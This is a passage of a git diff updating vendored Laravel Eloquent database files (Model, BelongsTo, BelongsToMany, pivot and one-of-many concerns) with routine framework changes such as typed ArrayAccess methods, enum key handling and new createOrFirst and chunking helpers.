+1822,7 @@ public static function resolveConnection($connection = null) /** * Get the connection resolver instance. * - * @return \Illuminate\Database\ConnectionResolverInterface + * @return \Illuminate\Database\ConnectionResolverInterface|null */ public static function getConnectionResolver() { @@ -1829,7 +1995,7 @@ public function getQueueableRelations() } if ($relation instanceof QueueableEntity) { - foreach ($relation->getQueueableRelations() as $entityKey => $entityValue) { + foreach ($relation->getQueueableRelations() as $entityValue) { $relations[] = $key.'.'.$entityValue; } } @@ -1928,7 +2094,7 @@ public function resolveSoftDeletableChildRouteBinding($childType, $value, $field */ protected function resolveChildRouteBindingQuery($childType, $value, $field) { - $relationship = $this->{Str::plural(Str::camel($childType))}(); + $relationship = $this->{$this->childRouteBindingRelationshipName($childType)}(); $field = $field ?: $relationship->getRelated()->getRouteKeyName(); @@ -1938,14 +2104,25 @@ protected function resolveChildRouteBindingQuery($childType, $value, $field) } return $relationship instanceof Model - ? $relationship->resolveRouteBindingQuery($relationship, $value, $field) - : $relationship->getRelated()->resolveRouteBindingQuery($relationship, $value, $field); + ? $relationship->resolveRouteBindingQuery($relationship, $value, $field) + : $relationship->getRelated()->resolveRouteBindingQuery($relationship, $value, $field); + } + + /** + * Retrieve the child route model binding relationship name for the given child type. + * + * @param string $childType + * @return string + */ + protected function childRouteBindingRelationshipName($childType) + { + return Str::plural(Str::camel($childType)); } /** * Retrieve the model for a bound value. * - * @param \Illuminate\Database\Eloquent\Model|Illuminate\Database\Eloquent\Relations\Relation $query + * @param \Illuminate\Database\Eloquent\Model|\Illuminate\Database\Eloquent\Relations\Relation $query * @param mixed $value * @param string|null $field * @return \Illuminate\Database\Eloquent\Relations\Relation @@ -1998,6 +2175,26 @@ public static function preventsLazyLoading() return static::$modelsShouldPreventLazyLoading; } + /** + * Determine if discarding guarded attribute fills is disabled. + * + * @return bool + */ + public static function preventsSilentlyDiscardingAttributes() + { + return static::$modelsShouldPreventSilentlyDiscardingAttributes; + } + + /** + * Determine if accessing missing attributes is disabled. + * + * @return bool + */ + public static function preventsAccessingMissingAttributes() + { + return static::$modelsShouldPreventAccessingMissingAttributes; + } + /** * Get the broadcast channel route definition that is associated with the given entity. * @@ -2047,10 +2244,13 @@ public function __set($key, $value) * @param mixed $offset * @return bool */ - #[\ReturnTypeWillChange] - public function offsetExists($offset) + public function offsetExists($offset): bool { - return ! is_null($this->getAttribute($offset)); + try { + return ! is_null($this->getAttribute($offset)); + } catch (MissingAttributeException) { + return false; + } } /** @@ -2059,8 +2259,7 @@ public function offsetExists($offset) * @param mixed $offset * @return mixed */ - #[\ReturnTypeWillChange] - public function offsetGet($offset) + public function offsetGet($offset): mixed { return $this->getAttribute($offset); } @@ -2072,8 +2271,7 @@ public function offsetGet($offset) * @param mixed $value * @return void */ - #[\ReturnTypeWillChange] - public function offsetSet($offset, $value) + public function offsetSet($offset, $value): void { $this->setAttribute($offset, $value); } @@ -2084,8 +2282,7 @@ public function offsetSet($offset, $value) * @param mixed $offset * @return void */ - #[\ReturnTypeWillChange] - public function offsetUnset($offset) + public function offsetUnset($offset): void { unset($this->attributes[$offset], $this->relations[$offset]); } @@ -2121,14 +2318,19 @@ public function __unset($key) */ public function __call($method, $parameters) { - if (in_array($method, ['increment', 'decrement'])) { + if (in_array($method, ['increment', 'decrement', 'incrementQuietly', 'decrementQuietly'])) { return $this->$method(...$parameters); } - if ($resolver = (static::$relationResolvers[get_class($this)][$method] ?? null)) { + if ($resolver = $this->relationResolver(static::class, $method)) { return $resolver($this); } + if (Str::startsWith($method, 'through') && + method_exists($this, $relationMethod = Str::of($method)->after('through')->lcfirst()->toString())) { + return $this->through($relationMethod); + } + return $this->forwardCallTo($this->newQuery(), $method, $parameters); } @@ -2152,8 +2354,8 @@ public static function __callStatic($method, $parameters) public function __toString() { return $this->escapeWhenCastingToString - ? e($this->toJson()) - : $this->toJson(); + ? e($this->toJson()) + : $this->toJson(); } /** diff --git a/vendor/illuminate/database/Eloquent/ModelNotFoundException.php b/vendor/illuminate/database/Eloquent/ModelNotFoundException.php index c35598bdb..79ae8a39d 100644 --- a/vendor/illuminate/database/Eloquent/ModelNotFoundException.php +++ b/vendor/illuminate/database/Eloquent/ModelNotFoundException.php @@ -5,27 +5,30 @@ use Illuminate\Database\RecordsNotFoundException; use Illuminate\Support\Arr; +/** + * @template TModel of \Illuminate\Database\Eloquent\Model + */ class ModelNotFoundException extends RecordsNotFoundException { /** * Name of the affected Eloquent model. * - * @var string + * @var class-string */ protected $model; /** * The affected model IDs. * - * @var int|array + * @var array */ protected $ids; /** * Set the affected Eloquent model and instance ids. * - * @param string $model - * @param int|array $ids + * @param class-string $model + * @param array|int|string $ids * @return $this */ public function setModel($model, $ids = []) @@ -47,7 +50,7 @@ public function setModel($model, $ids = []) /** * Get the affected Eloquent model. * - * @return string + * @return class-string */ public function getModel() { @@ -57,7 +60,7 @@ public function getModel() /** * Get the affected Eloquent model IDs. * - * @return int|array + * @return array */ public function getIds() { diff --git a/vendor/illuminate/database/Eloquent/PendingHasThroughRelationship.php b/vendor/illuminate/database/Eloquent/PendingHasThroughRelationship.php new file mode 100644 index 000000000..612c51e38 --- /dev/null +++ b/vendor/illuminate/database/Eloquent/PendingHasThroughRelationship.php @@ -0,0 +1,90 @@ +rootModel = $rootModel; + + $this->localRelationship = $localRelationship; + } + + /** + * Define the distant relationship that this model has. + * + * @param string|(callable(\Illuminate\Database\Eloquent\Model): (\Illuminate\Database\Eloquent\Relations\HasOne|\Illuminate\Database\Eloquent\Relations\HasMany)) $callback + * @return \Illuminate\Database\Eloquent\Relations\HasManyThrough|\Illuminate\Database\Eloquent\Relations\HasOneThrough + */ + public function has($callback) + { + if (is_string($callback)) { + $callback = fn () => $this->localRelationship->getRelated()->{$callback}(); + } + + $distantRelation = $callback($this->localRelationship->getRelated()); + + if ($distantRelation instanceof HasMany) { + return $this->rootModel->hasManyThrough( + $distantRelation->getRelated()::class, + $this->localRelationship->getRelated()::class, + $this->localRelationship->getForeignKeyName(), + $distantRelation->getForeignKeyName(), + $this->localRelationship->getLocalKeyName(), + $distantRelation->getLocalKeyName(), + ); + } + + return $this->rootModel->hasOneThrough( + $distantRelation->getRelated()::class, + $this->localRelationship->getRelated()::class, + $this->localRelationship->getForeignKeyName(), + $distantRelation->getForeignKeyName(), + $this->localRelationship->getLocalKeyName(), + $distantRelation->getLocalKeyName(), + ); + } + + /** + * Handle dynamic method calls into the model. + * + * @param string $method + * @param array $parameters + * @return mixed + */ + public function __call($method, $parameters) + { + if (Str::startsWith($method, 'has')) { + return $this->has(Str::of($method)->after('has')->lcfirst()->toString()); + } + + throw new BadMethodCallException(sprintf( + 'Call to undefined method %s::%s()', static::class, $method + )); + } +} diff --git a/vendor/illuminate/database/Eloquent/Relations/BelongsTo.php b/vendor/illuminate/database/Eloquent/Relations/BelongsTo.php index c17b733a1..112a0edba 100644 --- a/vendor/illuminate/database/Eloquent/Relations/BelongsTo.php +++ b/vendor/illuminate/database/Eloquent/Relations/BelongsTo.php @@ -2,6 +2,7 @@ namespace Illuminate\Database\Eloquent\Relations; +use BackedEnum; use Illuminate\Database\Eloquent\Builder; use Illuminate\Database\Eloquent\Collection; use Illuminate\Database\Eloquent\Model; @@ -74,7 +75,7 @@ public function __construct(Builder $query, Model $child, $foreignKey, $ownerKey */ public function getResults() { - if (is_null($this->child->{$this->foreignKey})) { + if (is_null($this->getForeignKeyFrom($this->child))) { return $this->getDefaultFor($this->parent); } @@ -94,7 +95,7 @@ public function addConstraints() // of the related models matching on the foreign key that's on a parent. $table = $this->related->getTable(); - $this->query->where($table.'.'.$this->ownerKey, '=', $this->child->{$this->foreignKey}); + $this->query->where($table.'.'.$this->ownerKey, '=', $this->getForeignKeyFrom($this->child)); } } @@ -113,7 +114,7 @@ public function addEagerConstraints(array $models) $whereIn = $this->whereInMethod($this->related, $this->ownerKey); - $this->query->{$whereIn}($key, $this->getEagerModelKeys($models)); + $this->whereInEager($whereIn, $key, $this->getEagerModelKeys($models)); } /** @@ -130,7 +131,7 @@ protected function getEagerModelKeys(array $models) // to query for via the eager loading query. We will add them to an array then // execute a "where in" statement to gather up all of those related records. foreach ($models as $model) { - if (! is_null($value = $model->{$this->foreignKey})) { + if (! is_null($value = $this->getForeignKeyFrom($model))) { $keys[] = $value; } } @@ -166,17 +167,13 @@ public function initRelation(array $models, $relation) */ public function match(array $models, Collection $results, $relation) { - $foreign = $this->foreignKey; - - $owner = $this->ownerKey; - // First we will get to build a dictionary of the child models by their primary // key of the relationship, then we can easily match the children back onto // the parents using that dictionary and the primary key of the children. $dictionary = []; foreach ($results as $result) { - $attribute = $this->getDictionaryKey($result->getAttribute($owner)); + $attribute = $this->getDictionaryKey($this->getRelatedKeyFrom($result)); $dictionary[$attribute] = $result; } @@ -185,7 +182,7 @@ public function match(array $models, Collection $results, $relation) // and match back onto their children using these keys of the dictionary and // the primary key of the children to map them onto the correct instances. foreach ($models as $model) { - $attribute = $this->getDictionaryKey($model->{$foreign}); + $attribute = $this->getDictionaryKey($this->getForeignKeyFrom($model)); if (isset($dictionary[$attribute])) { $model->setRelation($relation, $dictionary[$attribute]); @@ -337,7 +334,7 @@ public function getQualifiedForeignKeyName() */ public function getParentKey() { - return $this->child->{$this->foreignKey}; + return $this->getForeignKeyFrom($this->child); } /** @@ -371,6 +368,19 @@ protected function getRelatedKeyFrom(Model $model) return $model->{$this->ownerKey}; } + /** + * Get the value of the model's foreign key. + * + * @param \Illuminate\Database\Eloquent\Model $model + * @return mixed + */ + protected function getForeignKeyFrom(Model $model) + { + $foreignKey = $model->{$this->foreignKey}; + + return $foreignKey instanceof BackedEnum ? $foreignKey->value : $foreignKey; + } + /** * Get the name of the relationship. * diff --git a/vendor/illuminate/database/Eloquent/Relations/BelongsToMany.php b/vendor/illuminate/database/Eloquent/Relations/BelongsToMany.php index 4cadd7407..0f93ee7e3 100644 --- a/vendor/illuminate/database/Eloquent/Relations/BelongsToMany.php +++ b/vendor/illuminate/database/Eloquent/Relations/BelongsToMany.php @@ -11,6 +11,7 @@ use Illuminate\Database\Eloquent\Relations\Concerns\AsPivot; use Illuminate\Database\Eloquent\Relations\Concerns\InteractsWithDictionary; use Illuminate\Database\Eloquent\Relations\Concerns\InteractsWithPivotTable; +use Illuminate\Database\UniqueConstraintViolationException; use Illuminate\Support\Str; use InvalidArgumentException; @@ -135,7 +136,7 @@ class BelongsToMany extends Relation * * @param \Illuminate\Database\Eloquent\Builder $query * @param \Illuminate\Database\Eloquent\Model $parent - * @param string $table + * @param string|class-string<\Illuminate\Database\Eloquent\Model> $table * @param string $foreignPivotKey * @param string $relatedPivotKey * @param string $parentKey @@ -164,7 +165,7 @@ public function __construct(Builder $query, Model $parent, $table, $foreignPivot */ protected function resolveTableName($table) { - if (! Str::contains($table, '\\') || ! class_exists($table)) { + if (! str_contains($table, '\\') || ! class_exists($table)) { return $table; } @@ -242,7 +243,8 @@ public function addEagerConstraints(array $models) { $whereIn = $this->whereInMethod($this->parent, $this->parentKey); - $this->query->{$whereIn}( + $this->whereInEager( + $whereIn, $this->getQualifiedForeignPivotKeyName(), $this->getKeys($models, $this->parentKey) ); @@ -300,9 +302,9 @@ public function match(array $models, Collection $results, $relation) */ protected function buildDictionary(Collection $results) { - // First we will build a dictionary of child models keyed by the foreign key - // of the relation so that we will easily and quickly match them to their - // parents without having a possibly slow inner loops for every models. + // First we'll build a dictionary of child models keyed by the foreign key + // of the relation so that we will easily and quickly match them to the + // parents without having a possibly slow inner loop for every model. $dictionary = []; foreach ($results as $result) { @@ -595,36 +597,46 @@ public function findOrNew($id, $columns = ['*']) * Get the first related model record matching the attributes or instantiate it. * * @param array $attributes + * @param array $values * @return \Illuminate\Database\Eloquent\Model */ - public function firstOrNew(array $attributes) + public function firstOrNew(array $attributes = [], array $values = []) { - if (is_null($instance = $this->where($attributes)->first())) { - $instance = $this->related->newInstance($attributes); + if (is_null($instance = $this->related->where($attributes)->first())) { + $instance = $this->related->newInstance(array_merge($attributes, $values)); } return $instance; } /** - * Get the first related record matching the attributes or create it. + * Get the first record matching the attributes. If the record is not found, create it. * * @param array $attributes + * @param array $values * @param array $joining * @param bool $touch * @return \Illuminate\Database\Eloquent\Model */ - public function firstOrCreate(array $attributes, array $joining = [], $touch = true) + public function firstOrCreate(array $attributes = [], array $values = [], array $joining = [], $touch = true) { - if (is_null($instance = $this->where($attributes)->first())) { - $instance = $this->create($attributes, $joining, $touch); + if (is_null($instance = (clone $this)->where($attributes)->first())) { + if (is_null($instance = $this->related->where($attributes)->first())) { + $instance = $this->createOrFirst($attributes, $values, $joining, $touch); + } else { + try { + $this->getQuery()->withSavepointIfNeeded(fn () => $this->attach($instance, $joining, $touch)); + } catch (UniqueConstraintViolationException) { + // Nothing to do, the model was already attached... + } + } } return $instance; } /** - * Create or update a related record matching the attributes, and fill it with values. + * Attempt to create the record. If a unique constraint violation occurs, attempt to find the matching record. * * @param array $attributes * @param array $values @@ -632,17 +644,41 @@ public function firstOrCreate(array $attributes, array $joining = [], $touch = t * @param bool $touch * @return \Illuminate\Database\Eloquent\Model */ - public function updateOrCreate(array $attributes, array $values = [], array $joining = [], $touch = true) + public function createOrFirst(array $attributes = [], array $values = [], array $joining = [], $touch = true) { - if (is_null($instance = $this->where($attributes)->first())) { - return $this->create($values, $joining, $touch); + try { + return $this->getQuery()->withSavePointIfNeeded(fn () => $this->create(array_merge($attributes, $values), $joining, $touch)); + } catch (UniqueConstraintViolationException $e) { + // ... } - $instance->fill($values); + try { + return tap($this->related->where($attributes)->first() ?? throw $e, function ($instance) use ($joining, $touch) { + $this->getQuery()->withSavepointIfNeeded(fn () => $this->attach($instance, $joining, $touch)); + }); + } catch (UniqueConstraintViolationException $e) { + return (clone $this)->useWritePdo()->where($attributes)->first() ?? throw $e; + } + } - $instance->save(['touch' => false]); + /** + * Create or update a related record matching the attributes, and fill it with values. + * + * @param array $attributes + * @param array $values + * @param array $joining + * @param bool $touch + * @return \Illuminate\Database\Eloquent\Model + */ + public function updateOrCreate(array $attributes, array $values = [], array $joining = [], $touch = true) + { + return tap($this->firstOrCreate($attributes, $values, $joining, $touch), function ($instance) use ($values) { + if (! $instance->wasRecentlyCreated) { + $instance->fill($values); - return $instance; + $instance->save(['touch' => false]); + } + }); } /** @@ -678,8 +714,8 @@ public function findMany($ids, $columns = ['*']) return $this->getRelated()->newCollection(); } - return $this->whereIn( - $this->getRelated()->getQualifiedKeyName(), $this->parseIds($ids) + return $this->whereKey( + $this->parseIds($ids) )->get($columns); } @@ -690,7 +726,7 @@ public function findMany($ids, $columns = ['*']) * @param array $columns * @return \Illuminate\Database\Eloquent\Model|\Illuminate\Database\Eloquent\Collection * - * @throws \Illuminate\Database\Eloquent\ModelNotFoundException + * @throws \Illuminate\Database\Eloquent\ModelNotFoundException<\Illuminate\Database\Eloquent\Model> */ public function findOrFail($id, $columns = ['*']) { @@ -709,6 +745,37 @@ public function findOrFail($id, $columns = ['*']) throw (new ModelNotFoundException)->setModel(get_class($this->related), $id); } + /** + * Find a related model by its primary key or call a callback. + * + * @param mixed $id + * @param \Closure|array $columns + * @param \Closure|null $callback + * @return \Illuminate\Database\Eloquent\Model|\Illuminate\Database\Eloquent\Collection|mixed + */ + public function findOr($id, $columns = ['*'], Closure $callback = null) + { + if ($columns instanceof Closure) { + $callback = $columns; + + $columns = ['*']; + } + + $result = $this->find($id, $columns); + + $id = $id instanceof Arrayable ? $id->toArray() : $id; + + if (is_array($id)) { + if (count($result) === count(array_unique($id))) { + return $result; + } + } elseif (! is_null($result)) { + return $result; + } + + return $callback(); + } + /** * Add a basic where clause to the query, and return the first result. * @@ -742,7 +809,7 @@ public function first($columns = ['*']) * @param array $columns * @return \Illuminate\Database\Eloquent\Model|static * - * @throws \Illuminate\Database\Eloquent\ModelNotFoundException + * @throws \Illuminate\Database\Eloquent\ModelNotFoundException<\Illuminate\Database\Eloquent\Model> */ public function firstOrFail($columns = ['*']) { @@ -836,7 +903,7 @@ protected function shouldSelect(array $columns = ['*']) /** * Get the pivot columns for the relation. * - * "pivot_" is prefixed ot each column for easy removal later. + * "pivot_" is prefixed at each column for easy removal later. * * @return array */ @@ -930,19 +997,66 @@ public function chunk($count, callable $callback) */ public function chunkById($count, callable $callback, $column = null, $alias = null) { - $this->prepareQueryBuilder(); + return $this->orderedChunkById($count, $callback, $column, $alias); + } + + /** + * Chunk the results of a query by comparing IDs in descending order. + * + * @param int $count + * @param callable $callback + * @param string|null $column + * @param string|null $alias + * @return bool + */ + public function chunkByIdDesc($count, callable $callback, $column = null, $alias = null) + { + return $this->orderedChunkById($count, $callback, $column, $alias, descending: true); + } - $column = $column ?? $this->getRelated()->qualifyColumn( + /** + * Execute a callback over each item while chunking by ID. + * + * @param callable $callback + * @param int $count + * @param string|null $column + * @param string|null $alias + * @return bool + */ + public function eachById(callable $callback, $count = 1000, $column = null, $alias = null) + { + return $this->chunkById($count, function ($results, $page) use ($callback, $count) { + foreach ($results as $key => $value) { + if ($callback($value, (($page - 1) * $count) + $key) === false) { + return false; + } + } + }, $column, $alias); + } + + /** + * Chunk the results of a query by comparing IDs in a given order. + * + * @param int $count + * @param callable $callback + * @param string|null $column + * @param string|null $alias + * @param bool $descending + * @return bool + */ + public function orderedChunkById($count, callable $callback, $column = null, $alias = null, $descending = false) + { + $column ??= $this->getRelated()->qualifyColumn( $this->getRelatedKeyName() ); - $alias = $alias ?? $this->getRelatedKeyName(); + $alias ??= $this->getRelatedKeyName(); - return $this->query->chunkById($count, function ($results) use ($callback) { + return $this->prepareQueryBuilder()->orderedChunkById($count, function ($results, $page) use ($callback) { $this->hydratePivotRelation($results->all()); - return $callback($results); - }, $column, $alias); + return $callback($results, $page); + }, $column, $alias, $descending); } /** @@ -988,11 +1102,11 @@ public function lazy($chunkSize = 1000) */ public function lazyById($chunkSize = 1000, $column = null, $alias = null) { - $column = $column ?? $this->getRelated()->qualifyColumn( + $column ??= $this->getRelated()->qualifyColumn( $this->getRelatedKeyName() ); - $alias = $alias ?? $this->getRelatedKeyName(); + $alias ??= $this->getRelatedKeyName(); return $this->prepareQueryBuilder()->lazyById($chunkSize, $column, $alias)->map(function ($model) { $this->hydratePivotRelation([$model]); @@ -1001,6 +1115,29 @@ public function lazyById($chunkSize = 1000, $column = null, $alias = null) }); } + /** + * Query lazily, by chunking the results of a query by comparing IDs in descending order. + * + * @param int $chunkSize + * @param string|null $column + * @param string|null $alias + * @return \Illuminate\Support\LazyCollection + */ + public function lazyByIdDesc($chunkSize = 1000, $column = null, $alias = null) + { + $column ??= $this->getRelated()->qualifyColumn( + $this->getRelatedKeyName() + ); + + $alias ??= $this->getRelatedKeyName(); + + return $this->prepareQueryBuilder()->lazyByIdDesc($chunkSize, $column, $alias)->map(function ($model) { + $this->hydratePivotRelation([$model]); + + return $model; + }); + } + /** * Get a lazy collection for the given query. * @@ -1057,7 +1194,7 @@ protected function migratePivotAttributes(Model $model) // To get the pivots attributes we will just take any of the attributes which // begin with "pivot_" and add those to this arrays, as well as unsetting // them from the parent's models since they exist in a different table. - if (strpos($key, 'pivot_') === 0) { + if (str_starts_with($key, 'pivot_')) { $values[substr($key, 6)] = $value; unset($model->$key); @@ -1112,7 +1249,9 @@ protected function guessInverseRelation() */ public function touch() { - $key = $this->getRelated()->getKeyName(); + if ($this->related->isIgnoringTouch()) { + return; + } $columns = [ $this->related->getUpdatedAtColumn() => $this->related->freshTimestampString(), @@ -1122,7 +1261,7 @@ public function touch() // the related model's timestamps, to make sure these all reflect the changes // to the parent models. This will help us keep any caching synced up here. if (count($ids = $this->allRelatedIds()) > 0) { - $this->getRelated()->newQueryWithoutRelationships()->whereIn($key, $ids)->update($columns); + $this->getRelated()->newQueryWithoutRelationships()->whereKey($ids)->update($columns); } } @@ -1153,6 +1292,21 @@ public function save(Model $model, array $pivotAttributes = [], $touch = true) return $model; } + /** + * Save a new model without raising any events and attach it to the parent model. + * + * @param \Illuminate\Database\Eloquent\Model $model + * @param array $pivotAttributes + * @param bool $touch + * @return \Illuminate\Database\Eloquent\Model + */ + public function saveQuietly(Model $model, array $pivotAttributes = [], $touch = true) + { + return Model::withoutEvents(function () use ($model, $pivotAttributes, $touch) { + return $this->save($model, $pivotAttributes, $touch); + }); + } + /** * Save an array of new models and attach them to the parent model. * @@ -1171,6 +1325,20 @@ public function saveMany($models, array $pivotAttributes = []) return $models; } + /** + * Save an array of new models without raising any events and attach them to the parent model. + * + * @param \Illuminate\Support\Collection|array $models + * @param array $pivotAttributes + * @return array + */ + public function saveManyQuietly($models, array $pivotAttributes = []) + { + return Model::withoutEvents(function () use ($models, $pivotAttributes) { + return $this->saveMany($models, $pivotAttributes); + }); + } + /** * Create a new instance of the related model. * @@ -1428,7 +1596,7 @@ public function getPivotColumns() */ public function qualifyPivotColumn($column) { - return Str::contains($column, '.') + return str_contains($column, '.') ? $column : $this->table.'.'.$column; } diff --git a/vendor/illuminate/database/Eloquent/Relations/Concerns/AsPivot.php b/vendor/illuminate/database/Eloquent/Relations/Concerns/AsPivot.php index af9defb74..e6f9f2301 100644 --- a/vendor/illuminate/database/Eloquent/Relations/Concerns/AsPivot.php +++ b/vendor/illuminate/database/Eloquent/Relations/Concerns/AsPivot.php @@ -2,7 +2,6 @@ namespace Illuminate\Database\Eloquent\Relations\Concerns; -use Illuminate\Database\Eloquent\Builder; use Illuminate\Database\Eloquent\Model; use Illuminate\Support\Str; @@ -77,7 +76,9 @@ public static function fromRawAttributes(Model $parent, $attributes, $table, $ex $instance->timestamps = $instance->hasTimestampAttributes($attributes); - $instance->setRawAttributes($attributes, $exists); + $instance->setRawAttributes( + array_merge($instance->getRawOriginal(), $attributes), $exists + ); return $instance; } @@ -278,7 +279,7 @@ public function newQueryForRestoration($ids) return $this->newQueryForCollectionRestoration($ids); } - if (! Str::contains($ids, ':')) { + if (! str_contains($ids, ':')) { return parent::newQueryForRestoration($ids); } @@ -299,7 +300,7 @@ protected function newQueryForCollectionRestoration(array $ids) { $ids = array_values($ids); - if (! Str::contains($ids[0], ':')) { + if (! str_contains($ids[0], ':')) { return parent::newQueryForRestoration($ids); } diff --git a/vendor/illuminate/database/Eloquent/Relations/Concerns/CanBeOneOfMany.php b/vendor/illuminate/database/Eloquent/Relations/Concerns/CanBeOneOfMany.php index 6f6b1b7f1..7e3babe3f 100644 --- a/vendor/illuminate/database/Eloquent/Relations/Concerns/CanBeOneOfMany.php +++ b/vendor/illuminate/database/Eloquent/Relations/Concerns/CanBeOneOfMany.php @@ -6,7 +6,6 @@ use Illuminate\Database\Eloquent\Builder; use Illuminate\Database\Query\JoinClause; use Illuminate\Support\Arr; -use Illuminate\Support\Str; use InvalidArgumentException; trait CanBeOneOfMany @@ -52,7 +51,7 @@ abstract public function getOneOfManySubQuerySelectColumns(); /** * Add join query constraints for one of many relationships. * - * @param \Illuminate\Database\Eloquent\JoinClause $join + * @param \Illuminate\Database\Query\JoinClause $join * @return void */ abstract public function addOneOfManyJoinSubQueryConstraints(JoinClause $join); @@ -61,7 +60,7 @@ abstract public function addOneOfManyJoinSubQueryConstraints(JoinClause $join); * Indicate that the relation is a single result of a larger one-to-many relationship. * * @param string|array|null $column - * @param string|Closure|null $aggregate + * @param string|\Closure|null $aggregate * @param string|null $relation * @return $this * @@ -97,11 +96,16 @@ public function ofMany($column = 'id', $aggregate = 'MAX', $relation = null) $subQuery = $this->newOneOfManySubQuery( $this->getOneOfManySubQuerySelectColumns(), - $column, $aggregate + array_merge([$column], $previous['columns'] ?? []), + $aggregate, ); if (isset($previous)) { - $this->addOneOfManyJoinSubQuery($subQuery, $previous['subQuery'], $previous['column']); + $this->addOneOfManyJoinSubQuery( + $subQuery, + $previous['subQuery'], + $previous['columns'], + ); } if (isset($closure)) { @@ -113,12 +117,16 @@ public function ofMany($column = 'id', $aggregate = 'MAX', $relation = null) } if (array_key_last($columns) == $column) { - $this->addOneOfManyJoinSubQuery($this->query, $subQuery, $column); + $this->addOneOfManyJoinSubQuery( + $this->query, + $subQuery, + array_merge([$column], $previous['columns'] ?? []), + ); } $previous = [ 'subQuery' => $subQuery, - 'column' => $column, + 'columns' => array_merge([$column], $previous['columns'] ?? []), ]; } @@ -137,7 +145,6 @@ public function ofMany($column = 'id', $aggregate = 'MAX', $relation = null) * Indicate that the relation is the latest single result of a larger one-to-many relationship. * * @param string|array|null $column - * @param string|Closure|null $aggregate * @param string|null $relation * @return $this */ @@ -152,7 +159,6 @@ public function latestOfMany($column = 'id', $relation = null) * Indicate that the relation is the oldest single result of a larger one-to-many relationship. * * @param string|array|null $column - * @param string|Closure|null $aggregate * @param string|null $relation * @return $this */ @@ -180,11 +186,11 @@ protected function getDefaultOneOfManyJoinAlias($relation) * Get a new query for the related model, grouping the query by the given column, often the foreign key of the relationship. * * @param string|array $groupBy - * @param string|null $column + * @param array|null $columns * @param string|null $aggregate * @return \Illuminate\Database\Eloquent\Builder */ - protected function newOneOfManySubQuery($groupBy, $column = null, $aggregate = null) + protected function newOneOfManySubQuery($groupBy, $columns = null, $aggregate = null) { $subQuery = $this->query->getModel() ->newQuery() @@ -194,11 +200,21 @@ protected function newOneOfManySubQuery($groupBy, $column = null, $aggregate = n $subQuery->groupBy($this->qualifyRelatedColumn($group)); } - if (! is_null($column)) { - $subQuery->selectRaw($aggregate.'('.$subQuery->getQuery()->grammar->wrap($subQuery->qualifyColumn($column)).') as '.$subQuery->getQuery()->grammar->wrap($column.'_aggregate')); + if (! is_null($columns)) { + foreach ($columns as $key => $column) { + $aggregatedColumn = $subQuery->getQuery()->grammar->wrap($subQuery->qualifyColumn($column)); + + if ($key === 0) { + $aggregatedColumn = "{$aggregate}({$aggregatedColumn})"; + } else { + $aggregatedColumn = "min({$aggregatedColumn})"; + } + + $subQuery->selectRaw($aggregatedColumn.' as '.$subQuery->getQuery()->grammar->wrap($column.'_aggregate')); + } } - $this->addOneOfManySubQueryConstraints($subQuery, $groupBy, $column, $aggregate); + $this->addOneOfManySubQueryConstraints($subQuery, $groupBy, $columns, $aggregate); return $subQuery; } @@ -208,7 +224,7 @@ protected function newOneOfManySubQuery($groupBy, $column = null, $aggregate = n * * @param \Illuminate\Database\Eloquent\Builder $parent * @param \Illuminate\Database\Eloquent\Builder $subQuery - * @param string $on + * @param array $on * @return void */ protected function addOneOfManyJoinSubQuery(Builder $parent, Builder $subQuery, $on) @@ -217,7 +233,9 @@ protected function addOneOfManyJoinSubQuery(Builder $parent, Builder $subQuery, $subQuery->applyBeforeQueryCallbacks(); $parent->joinSub($subQuery, $this->relationName, function ($join) use ($on) { - $join->on($this->qualifySubSelectColumn($on.'_aggregate'), '=', $this->qualifyRelatedColumn($on)); + foreach ($on as $onColumn) { + $join->on($this->qualifySubSelectColumn($onColumn.'_aggregate'), '=', $this->qualifyRelatedColumn($onColumn)); + } $this->addOneOfManyJoinSubQueryConstraints($join, $on); }); @@ -227,7 +245,7 @@ protected function addOneOfManyJoinSubQuery(Builder $parent, Builder $subQuery, /** * Merge the relationship query joins to the given query builder. * - * @param \Illuminate\Database\Eloquent\Builder $builder + * @param \Illuminate\Database\Eloquent\Builder $query * @return void */ protected function mergeOneOfManyJoinsTo(Builder $query) @@ -278,7 +296,7 @@ public function qualifySubSelectColumn($column) */ protected function qualifyRelatedColumn($column) { - return Str::contains($column, '.') ? $column : $this->query->getModel()->getTable().'.'.$column; + return str_contains($column, '.') ? $column : $this->query->getModel()->getTable().'.'.$column; } /** diff --git a/vendor/illuminate/database/Eloquent/Relations/Concerns/InteractsWithDictionary.php b/vendor/illuminate/database/Eloquent/Relations/Concerns/InteractsWithDictionary.php index ba4ae9aeb..21f4fce22 100644 --- a/vendor/illuminate/database/Eloquent/Relations/Concerns/InteractsWithDictionary.php +++ b/vendor/illuminate/database/Eloquent/Relations/Concerns/InteractsWithDictionary.php @@ -3,7 +3,8 @@ namespace Illuminate\Database\Eloquent\Relations\Concerns; use BackedEnum; -use Doctrine\Instantiator\Exception\InvalidArgumentException; +use InvalidArgumentException; +use UnitEnum; trait InteractsWithDictionary { @@ -13,7 +14,7 @@ trait InteractsWithDictionary * @param mixed $attribute * @return mixed * - * @throws \Doctrine\Instantiator\Exception\InvalidArgumentException + * @throws \InvalidArgumentException */ protected function getDictionaryKey($attribute) { @@ -22,9 +23,8 @@ protected function getDictionaryKey($attribute) return $attribute->__toString(); } - if (function_exists('enum_exists') && - $attribute instanceof BackedEnum) { - return $attribute->value; + if ($attribute instanceof UnitEnum) { + return $attribute instanceof BackedEnum ? $attribute->value : $attribute->name; } throw new InvalidArgumentException('Model attribute value is an object but does not have a __toString method.'); diff --git a/vendor/illuminate/database/Eloquent/Relations/Concerns/InteractsWithPivotTable.php b/vendor/illuminate/database/Eloquent/Relations/Concerns/InteractsWithPivotTable.php index 7a1cbfaed..48444a52d 100644 --- a/vendor/illuminate/database/Eloquent/Relations/Concerns/InteractsWithPivotTable.php +++ b/vendor/illuminate/database/Eloquent/Relations/Concerns/InteractsWithPivotTable.php @@ -2,6 +2,7 @@ namespace Illuminate\Database\Eloquent\Relations\Concerns; +use BackedEnum; use Illuminate\Database\Eloquent\Collection; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\Relations\Pivot; @@ -92,17 +93,19 @@ public function sync($ids, $detaching = true) $current = $this->getCurrentlyAttachedPivots() ->pluck($this->relatedPivotKey)->all(); - $detach = array_diff($current, array_keys( - $records = $this->formatRecordsList($this->parseIds($ids)) - )); + $records = $this->formatRecordsList($this->parseIds($ids)); // Next, we will take the differences of the currents and given IDs and detach // all of the entities that exist in the "current" array but are not in the // array of the new IDs given to the method which will complete the sync. - if ($detaching && count($detach) > 0) { - $this->detach($detach); + if ($detaching) { + $detach = array_diff($current, 